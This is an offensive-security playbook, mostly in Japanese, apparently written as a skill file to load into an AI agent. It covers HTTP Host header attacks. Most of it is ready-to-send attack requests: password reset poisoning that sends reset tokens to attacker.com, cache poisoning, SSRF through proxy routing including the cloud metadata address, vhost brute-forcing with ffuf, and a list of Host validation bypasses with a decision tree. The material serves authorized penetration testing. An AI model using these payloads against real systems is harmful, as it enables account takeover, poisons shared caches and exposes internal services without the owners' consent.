SKILL: HTTP Host Header Attacks — Injection & Routing Abuse

AI LOAD INSTRUCTION: Covers Host header injection for password reset poisoning, cache poisoning, SSRF via routing, and virtual host bypass. Includes bypass techniques for Host validation and framework-specific behaviors. Base models often miss the double-Host trick, absolute-URI override, and connection-state attacks.

0. RELATED ROUTING

• web-cache-deception Host injectionがキャッシュ動作と組み合わされるとき
• ssrf-server-side-request-forgery Host headerが内部サービスへのリクエストをルーティングするとき
• open-redirect Host injectionが攻撃者ドメインへのリダイレクトを引き起こすとき
• waf-bypass-techniques Host操作がWAFルーティングバイパスを助けるとき
• request-smuggling smugglingがフロントエンド検証を超えてHost header操作を可能にするとき
• subdomain-takeover Hostルーティングが内部vhostsを露出させ、サブドメイン経由で解決可能なとき

---

1. ATTACK SURFACE

Host headerはウェブアプリケーションとインフラストラクチャによって以下の目的で使用されます:

用途	悪用方法
URL生成（パスワードリセットリンク、メールリンク）	攻撃者ドメインをinject → ユーザーが攻撃者へのリンクをクリック
仮想ホストルーティング	Hostをなりすまし → 内部/adminの仮想ホストにアクセス
キャッシュキーコンポーネント	異なるHostをinject → すべてのユーザーのキャッシュを汚染
リバースプロキシルーティング	Hostがバックエンドを決定 → 内部サービスへのSSRF
アクセス制御の決定	HostベースのACLをバイパス可能
正規URL / SEOリダイレクト	Host injection → Open redirect

---

2. PASSWORD RESET POISONING

最も一般的で影響力のあるHost header攻撃です。

仕組み

1. 攻撃者がvictim@target.comのパスワードリセットをリクエスト
2. 攻撃者がリセットリクエスト内のHost headerを改ざん:
   POST /forgot-password HTTP/1.1
   Host: attacker.com    ← injected
   
   email=victim@target.com

3. サーバーがHost header値を使用してリセットリンクを生成:
   "Click here to reset: https://attacker.com/reset?token=SECRET_TOKEN"

4. ユーザーがメールを受け取り、リンクをクリック → トークンが攻撃者に送信
5. 攻撃者が実際のtarget.comでトークンを使用してパスワードをリセット

テスト

POST /forgot-password HTTP/1.1
Host: attacker-collaborator.burpcollaborator.net
Content-Type: application/x-www-form-urlencoded

email=victim@target.com

Burp Collaboratorで受信HTTPリクエストのリセットトークンを確認します。

変種

• 連結する場合がある: Host: target.com.attacker.com → リンクが https://target.com.attacker.com/reset?token=xxx になる
• ポーション部分のみを使用する場合: Host: target.com:@attacker.com → 一部のURLパーサーで attacker.com と解析される

---

3. HOST経由のWEBキャッシュ汚染

1. 攻撃者が送信:
   GET / HTTP/1.1
   Host: attacker.com

2. キャッシュキーがURLパスを使用し、Host headerを使用しない場合:
   → attacker.comが生成されたリンク/コンテンツでキャッシュされた応答

3. 後続のユーザーがGET /をリクエストすると、汚染された応答を受け取る
   → リンクはattacker.comを指し、スクリプトはattacker.comからロード

重要な条件: キャッシュはキャッシュキーにHost headerを含めない必要があり、アプリケーションはHost を応答本文で使用する必要があります。

異なるHost値で2つのリクエストを送信し、2番目のリクエストが最初のHostを応答で返すかどうかをチェックしてテストします。

---

4. HOST ルーティング経由のSSRF

リバースプロキシがHost headerを使用してバックエンドにルーティングする場合:

GET /api/internal HTTP/1.1
Host: internal-admin-panel.local

→ リバースプロキシがinternal-admin-panel.localにリクエストをルーティング
→ 攻撃者が内部サービスにアクセス

一般的な用途:

• Nginx proxy_pass ($hostに基づいて)
• Apache ProxyPass (仮想ホストルーティング)
• Kubernetes Ingress controllers
• クラウドロードバランサー

---

5. 仮想ホストバイパス

多くのサーバーは同じIP上で仮想ホスティング経由で複数のアプリケーションをホストします:

ターゲット: Host: www.target.com  → パブリックサイト
非表示:      Host: admin.target.com → 管理パネル（パブリックDNSにない）
非表示:      Host: staging.target.com → ステージング環境
非表示:      Host: localhost → サーバーステータスページ

発見

1. 一般的な仮想ホスト名でHost headerをブルートフォース:
   ffuf -u http://TARGET_IP -H "Host: FUZZ.target.com" -w vhosts.txt

2. 特殊な値を試す:
   Host: localhost
   Host: 127.0.0.1
   Host: admin
   Host: internal
   Host: intranet

3. 異なる仮想ホストを識別するために応答サイズ/コンテンツを比較

---

6. HOST検証がある場合のバイパステクニック

6.1 オーバーライドヘッダー

多くのフレームワーク/プロキシはこれらのヘッダーをHost headerより信頼します:

ヘッダー	これを信頼するフレームワーク
X-Forwarded-Host	Symfony, Laravel, Django (USE_X_FORWARDED_HOST=True時), Rails (プロキシ背後)
X-Host	カスタムプロキシ設定
X-Original-URL	IIS URL Rewriteモジュール
X-Rewrite-URL	IIS URL Rewriteモジュール
Forwarded: host=attacker.com	RFC 7239準拠のプロキシ
X-Forwarded-Server	Apache mod_proxy

すべてを同時にテスト:

GET /forgot-password HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Original-URL: /forgot-password
Forwarded: host=attacker.com

6.2 リクエスト行の絶対URI

GET http://attacker.com/path HTTP/1.1
Host: target.com

HTTP/1.1仕様（RFC 7230）に従うと: リクエスト行に絶対URIが含まれている場合、Host headerは無視すべき（SHOULD）です。一部のサーバーはこれに従い、一部は従いません — プロキシとバックエンド間のこのミスマッチが脆弱性を作成します。

6.3 ダブルHost ヘッダー

GET /path HTTP/1.1
Host: target.com
Host: attacker.com

動作はさまざま:

• プロキシが最初のHostを検証し、アプリが2番目を使用
• サーバーが連結: target.com, attacker.com
• RFC: 両方が異なる場合、400を返すべき。ほとんどのサーバーはそうしない。

6.4 ポート/認証情報付きHost

Host: target.com:@attacker.com
Host: target.com:evil.com
Host: target.com#@attacker.com
Host: attacker.com%23@target.com

認証情報（@）またはフラグメント（#）が存在する場合、URLパーサーは「host」部分を異なる方法で抽出するかもしれません。

6.5 末尾のドット

Host: target.com.

DNSは target.com. と target.com を同じように扱います（末尾のドット = FQDN）。しかしHost検証は末尾のドットをストリップしない可能性があります → target.com. ≠ target.com 文字列比較 → ホワイトリストバイパス。

6.6 タブ/スペースInject

Host: target.com\tattacker.com
Host: target.com attacker.com

一部のパーサーはホワイトスペースで分割されます; サーバーが attacker.com 部分を使用しながら検証が target.com 部分をチェックする可能性があります。

6.7 ラップアラウンド/囲まれた値

Host: "attacker.com"
Host: <attacker.com>

引用またはカッコで囲まれた値は、バリデータではなくアプリによってストリップされる可能性があります。

---

7. フレームワーク固有の動作

フレームワーク	Host ソース	注意点
PHP	$_SERVER['HTTP_HOST'] (raw header、直接injectible)	SERVER_NAME は UseCanonicalName On でのみ安全
Django	HttpRequest.get_host() が X-Forwarded-Host を最初にチェック（有効な場合）	USE_X_FORWARDED_HOST=True が ALLOWED_HOSTS をバイパス
Rails	request.host はHost headerから; プロキシ背後で X-Forwarded-Host を信頼	Rails 6+ HostAuthorization ミドルウェアが緩和
Node/Express	req.hostname / req.headers.host; trust proxy で X-Forwarded-Host を使用	組み込みhost検証なし

---

8. コネクション状態攻撃

HTTP keep-aliveを悪用する洗練された変種:

コネクション1:
  リクエスト1: GET / HTTP/1.1    ← 有効なHost: target.com
              Host: target.com     → プロキシが検証し、転送、コネクション保持

  リクエスト2: GET /admin HTTP/1.1  ← 同じコネクション上の悪意あるHost
              Host: evil.com       → プロキシがコネクション上の後続リクエストで検証をスキップ
                                     (最初のリクエストでコネクションを検証した)

これは、keep-aliveコネクションの最初のリクエストでのみHost検証を実行するプロキシに対して機能します。

テスト

1. "Connection: keep-alive"で Burp Repeaterを使用
2. 通常のリクエストを最初に送信
3. 同じコネクション上で、操作されたHostで別のリクエストを送信
4. 2番目のリクエストが異なる方法で処理されるかチェック

---

9. HOST HEADER攻撃決定木

アプリケーションが応答/動作でHost headerを使用?
│
├── 直接Host injectionをテスト
│   ├── Hostを攻撃者ドメインに変更 → 応答で反映?
│   │   ├── はい → 影響をチェック:
│   │   │   ├── パスワードリセットメール内? → PASSWORD RESET POISONING
│   │   │   ├── キャッシュされた応答内? → WEB CACHE POISONING
│   │   │   ├── リダイレクト内? → OPEN REDIRECT
│   │   │   └── スクリプト/リンクURL内? → XSS VIA HOST
│   │   └── いいえ (400/403/異なる応答) → Hostは検証されている
│   │
│   └── Host検証? バイパス試行:
│       ├── X-Forwarded-Hostヘッダー
│       ├── X-Host / X-Original-URL / Forwardedヘッダー
│       ├── リクエスト行の絶対URI
│       ├── ダブルHostヘッダー
│       ├── Host: target.com:@attacker.com (URLパーサー混乱)
│       ├── Host: target.com. (末尾ドット)
│       ├── Hostvalue内のタブ/スペースinjection
│       └── コネクション状態攻撃（有効な最初リクエスト、悪い次）
│
├── 仮想ホスト列挙をテスト
│   ├── ターゲットIP対してHost値をブルートフォース
│   ├── 試す: localhost, admin, staging, internal, intranet
│   └── 異なるHost値の応答サイズを比較
│
├── HOST ルーティング経由のSSRFをテスト
│   ├── Host: 127.0.0.1 → 内部サービス?
│   ├── Host: internal-hostname.local → 内部ルーティング?
│   └── Host: 169.254.169.254 → クラウドメタデータ?
│
└── Host ベースの動作が見つからない
    └── アプリがサーバー側操作でHostを使用するかチェック
        (メール生成、webhook URL、APIコールバック)

---

10. トリック ノート — AIモデルが見落とすもの

1. パスワードリセットpoisoningは被害者がログインしていることを要求しない — あなたがリセットをリクエストし、被害者はリンクをクリックするだけです。トークンはあなたのサーバーに到着します。
2. X-Forwarded-Hostは#1で見落とされるバイパス: ほとんどのHost検証は Host headerをチェックしますが、プロキシの背後にあるとき、フレームワークは静かに X-Forwarded-Host を優先します。
3. ダブルHostヘッダーはプロトコル有効ですが動作未定義: RFC は400で拒否すべきですが、ほぼ何のサーバーもこれを実際には行いません。プロキシとアプリ間のミスマッチが脆弱性です。
4. 絶対URIはRFC毎のHostをオーバーライド: GET http://evil.com/path HTTP/1.1\nHost: target.com — 仕様はリクエスト行URIを使用すべきといいます。しかしすべての実装が同意するわけではありません。
5. HOST経由のキャッシュpoisoningはキャッシュがキーからHostを除外することを要求 — ほとんどのCDNはキャッシュキーにHostを含めます。しかしカスタムVarnish/Nginxキャッシュはそうしない場合があります。また X-Forwarded-Host をキャッシュキー差別化子としてテストします。
6. コネクション状態攻撃はまれにテストされる — 自動化されたスキャナーはkeep-alive動作をテストしません。Burp Repeaterのコネクション再利用経由の手動テストが必須です。
7. DNS リバインディング + Host 攻撃: DNSを制御する場合、ドメインを対象のIPにポイント → ドメインが相手のサーバーに解決 → Host headerがドメインを言いますが、リクエストが相手のサーバーをヒット。IP ベースのアクセス制御をバイパスするのに有用です。